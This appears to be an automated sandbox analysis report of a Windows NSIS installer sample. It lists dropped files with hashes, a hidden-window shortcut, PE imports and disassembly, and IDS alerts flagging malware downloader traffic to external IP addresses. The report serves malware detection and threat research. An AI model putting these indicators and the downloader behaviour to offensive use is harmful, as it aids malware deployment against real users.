SHA1:	829BB4B4625C889FB7BE1129DBB44C5CA9C3463A
SHA-256:	CA4E5E4D2E8EE9E3A7C19358469280289474E701CF23180372F95A975E8E7B5B
SHA-512:	DCDA231F390809E486B24399573713746A90A02006BF829BE59F66A58A421212F82768DDBDF3BBC89497B1C32318E8D090175BF041681C12D64D5F3423F97CDE
Malicious:	false
Preview:	;lrestningerne langbaade undertippet.Indvikl outbrag bravurarie nondifferentation disabused forbrugerstyrelsen..[VOLDTGTSDMTE FIGURTYPENS]......omikron subindicate macrogonidium,diskvalificerende udladere syltetjskrukkerne balas afvnningskurenes snidely languaged..aktionssprogenes kickup daredevils rennins snksmedjer.Banketters miilimetre iridical spidnings helsefysiks..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Exhumations.Ant

Download File

Process:	C:\Users\user\Desktop\DNNueAb5UZ.exe
File Type:	data
Category:	dropped
Size (bytes):	122260
Entropy (8bit):	4.5929632616009295
Encrypted:	false
SSDEEP:	1536:igdlOYfKj8uRBsUJZpAdSrNrisp4iSH7gSV9z+qEBmpnl2Sb:igdlO88sk3OS0sp4jdLJiSb
MD5:	AFD6807D6FF6C3B7424033AEEE262CBE
SHA1:	7C2B46FD1BBDA17D89178870E691CDB72686780D
SHA-256:	5B68869CCAFA00D4FC7D3EC1EA542F0445076D42966A407445629EF4ABC43C36
SHA-512:	2C17FE693761B5B030784E69D9BB48708AD252D7E37CFF50358C7D3F85450BCF6992DBEC1693FA245EB4583BEF6F8415652DE2C556886F22A119CF040AA4988A
Malicious:	false
Preview:	....---....^^^^.........................**.__.....lll..?.....s.................L...Y...........}}}.........I..555555......................G..............}}}......_.>>................lll......vv..[..............\|\|\|..B.......................................iiiiii..............@...........~~................y....X.........AAAA......................................................II.Q...............r...............CC...***....^^^....44......................!!!!!!...00.).............s..w.....................................$$$$$$.=.......tt.0.........y.VVV...uu..................\\..........................x...nnn.......SSS......J..L.......::......................"""""..........XX.........................p....bb."".6...e..pp.YY.................,...........===...........GG......!!.....8.....WWW......5............................................=............................g..r...G.............n...........................................rrr.uuu....u.+..........ZZZ......../.~~~......s..$$$."..

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Rhopalism.Eng

Download File

Process:	C:\Users\user\Desktop\DNNueAb5UZ.exe
File Type:	data
Category:	dropped
Size (bytes):	451245
Entropy (8bit):	7.156159388668953
Encrypted:	false
SSDEEP:	6144:D+mImWJVJ4BnUO7ki4SAihLGnGMWoh0CYDKPrxtqCbWn0ys69HjbvoMAec:LrKlc4aLGHh52Kx9bab/oMAl
MD5:	4DE177D01CBC7FF1886FFFAD13543F85
SHA1:	1DA143C0FFCF24C9D0B70102FB928EC68ED78EF4
SHA-256:	C6E87CFF1C6ED34C7256A989A328F2329A47D8106FA2125F8945C771160114E0
SHA-512:	1DEDD29CD3A3DA52D400E8B61AA4BBB1407889AD0CA4C1ADDC2707659D68E91B5020E00C02D9F01C4A3C224D68B8CB3052038207EFA90A537354CA140932492C
Malicious:	false
Preview:	......I......pp....ee...............dd.......................................y.....GGG.............1.$.vvv..... ............L....................i._............B.........[..........qq....}....e....'.....B..Q........_....X...............lll.........s......**...............................AA.....Q......................h.?.....F.l.FFF............YYYYY..TT..B.{.............p..............}}}}..............7...BB.l........nn..........;.iiiii...9........FF.........%%%%%.................................................................EE...P......???......^.................................##.[[...ZZ...===...........`.........................................eeeeee.....................x.......``................4444....}}.......:...................W.............................V.l........Y.FFFFF......n................................._.............hh.........oo..........22..++++.................&...$$$$.d..................\\\\....M...YY....E....AAA..w...........'...........S..............q.......

C:\Users\user\depression.lnk

Download File

Process:	C:\Users\user\Desktop\DNNueAb5UZ.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	874
Entropy (8bit):	3.2436212412372507
Encrypted:	false
SSDEEP:	12:8wl0VRsX2luXJEIJcw8P12nt1J1FV0f77sYN17Uv4t2YZ/elFlSJm:8AwCzS2/rsfJalqy
MD5:	254256B5FA48766A14BD1DDE31608E40
SHA1:	B59C08EC3AC339B7CE580E1872B03F4C1479D56F
SHA-256:	482BF02BE04F76D5FC6FAAE4A288334D2B7CC8566AD5557D49EE33170191B222
SHA-512:	36245B8C52E3DD0C0B2933B2837FACDA50A39D95F9B1B911463A37B4EEB7C44DDF28039F19F40A485A21D6D3569131512F45C632CDD040F2A067A9E8EFDE63E3
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....Z.1...........user..B............................................e.n.g.i.n.e.e.r.....\.1...........Documents.D............................................D.o.c.u.m.e.n.t.s.....h.2...........populaton.neu.L............................................p.o.p.u.l.a.t.o.n...n.e.u...........\.D.o.c.u.m.e.n.t.s.\.p.o.p.u.l.a.t.o.n...n.e.u.@.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.S.l.u.t.a.f.r.e.g.n.i.n.g.e.r.s.1.7.5.\.a.m.m.u.n.i.t.i.o.n.s.f.a.b.r.i.k.k.e.r.s.\.A.n.u.s.............3...............#.F..l.H.i.3...............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.938526516431953
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DNNueAb5UZ.exe
File size:	700'990 bytes
MD5:	1f3c24498ead0b5bb12be0fb2a21aba8
SHA1:	5ae261e3568b4f994a087f4b545e555dbcb1ce03
SHA256:	63e3936903bc65ce779ef8b852fbd0e0f92167b2d571c09dd92bc8b2f8fb16a4
SHA512:	48a50eccb70cc9e3afc0dee98e0cd26dc3ef8fd2eb08dbeaa2f1481bd625e732c81628f9cb2526beea21216fb4e728c4d7124552dc3a979727b5d0b5c502c8d5
SSDEEP:	12288:0LBrC5dhAjeHZcdRX+m5nJT5t56rGSMFOfAq/Ijytb0OmL2H8tEB2LyD:0LBrtRXrxtz5FSgpC4ZOmq8KALG
TLSH:	02E42380B2978D26E5C22430E462E1F4DA7BAD521267575F2F813E6F3DB58B2C90B317
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L....z.W.................^.........

File Icon


Icon Hash:	a5d56872428d9074

Static PE Info

General

Entrypoint:	0x4030d9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x57017AA7 [Sun Apr 3 20:18:47 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007F795CE1B2A3h
push ebx
call 00007F795CE1E211h
cmp eax, ebx
je 00007F795CE1B299h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007F795CE1E18Dh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F795CE1B27Dh
push ebp
push 00000009h
call 00007F795CE1E1E4h
push 00000007h
call 00007F795CE1E1DDh
mov dword ptr [00423704h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [004237B8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECC8h
call dword ptr [00407174h]
push 00409188h
push 00422F00h
call 00007F795CE1DE07h
call dword ptr [0040709Ch]
mov ebp, 00429000h
push eax
push ebp
call 00007F795CE1DDF5h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x36000	0x5110	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5c5b	0x5e00	3d4c7426917ca8533fbfc9cd63e19ba3	False	0.6603640292553191	data	6.411487375491561	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	43fab6a80651bd97af8f34ecf44cd8ac	False	0.42734375	data	5.005029341587408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a7f8	0x400	00798d060e552892531c88ed1710ae2c	False	0.6376953125	data	5.108396988130901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x12000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x36000	0x5110	0x5200	4c0432814ed2e0e86b285740ae86eb13	False	0.18054496951219512	data	2.9066831452356485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x362c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.10197095435684647
RT_ICON	0x38870	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.17659474671669795
RT_ICON	0x39918	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.21598360655737706
RT_ICON	0x3a2a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2703900709219858
RT_DIALOG	0x3a708	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x3a850	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3a950	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x3aa70	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3ab38	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3ab98	0x3e	data	English	United States	0.8064516129032258
RT_VERSION	0x3abd8	0x1f4	data	English	United States	0.552
RT_MANIFEST	0x3add0	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Version Infos

Description	Data
Comments	becut megalichthys
LegalTrademarks	flamboyantizes kiksets rakkeren
OriginalFilename	undfangelsen resurceanvendelser.exe
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-07T21:08:11.602139+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49689	142.250.185.238	443	TCP
2025-03-07T21:08:20.263553+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49691	132.226.8.169	80	TCP
2025-03-07T21:08:23.246411+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49691	132.226.8.169	80	TCP
2025-03-07T21:08:25.761232+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49693	104.21.112.1	443	TCP
2025-03-07T21:08:26.793256+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49694	132.226.8.169	80	TCP
2025-03-07T21:08:28.880655+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49695	104.21.112.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 21:08:08.855662107 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:08.855714083 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:08.855825901 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:08.938149929 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:08.938193083 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:10.852045059 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:10.852190018 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:10.852916956 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:10.852983952 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:10.946449041 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:10.946474075 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:10.946875095 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:10.946944952 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:10.951287985 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:10.992330074 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:11.602195024 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:11.602277994 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:11.602298021 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:11.602329969 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:11.738416910 CET	49689	443	192.168.2.6	142.250.185.238
Mar 7, 2025 21:08:11.738447905 CET	443	49689	142.250.185.238	192.168.2.6
Mar 7, 2025 21:08:11.966099024 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:11.966140985 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:11.966212988 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:11.966639042 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:11.966653109 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:13.924930096 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:13.925062895 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:13.928854942 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:13.928890944 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:13.929218054 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:13.929290056 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:13.929641008 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:13.972335100 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.232089043 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.232227087 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.245671034 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.245874882 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.252521038 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.252598047 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.259244919 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.259294033 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.326934099 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.327173948 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.361608982 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.361691952 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.373929977 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.373999119 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.374402046 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.374469995 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.374480009 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.374524117 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.385978937 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.386073112 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.386096954 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.386141062 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.406960964 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.407042980 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.407069921 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.407124996 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.424252033 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.424324036 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.424340010 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.424387932 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.429480076 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.429542065 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.429553032 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.429605961 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.432293892 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.432351112 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.441171885 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.441262007 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.443810940 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.443861961 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.457730055 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.457786083 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.457799911 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.457834959 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.457845926 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.457854986 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.457873106 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.457921982 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.470544100 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.470601082 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.470613956 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.470653057 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.473015070 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.473073006 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.473081112 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.473125935 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.473236084 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.473283052 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.473334074 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.473383904 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.474698067 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.474788904 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.475286007 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.475330114 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.475454092 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.475503922 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.476089001 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.476138115 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.476144075 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.476186991 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.476218939 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.476264954 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.476438046 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.476484060 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.480675936 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.480724096 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.480731010 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.480768919 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.486059904 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.486112118 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.486119032 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.486160040 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.486165047 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.486208916 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.492507935 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.492568970 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.496916056 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.496967077 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.503832102 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.503890038 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.503897905 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.503947020 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.521048069 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.521121025 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.521133900 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.521179914 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.526366949 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.526424885 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.526433945 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.526472092 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.531228065 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.531285048 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.531291962 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.531335115 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.540844917 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.540901899 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.540910006 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.540950060 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.554647923 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.554835081 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.554843903 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.554892063 CET	49690	443	192.168.2.6	142.250.181.225
Mar 7, 2025 21:08:17.558053017 CET	443	49690	142.250.181.225	192.168.2.6
Mar 7, 2025 21:08:17.558116913 CET	49690	443	192.168.2.6	142.250.181.225
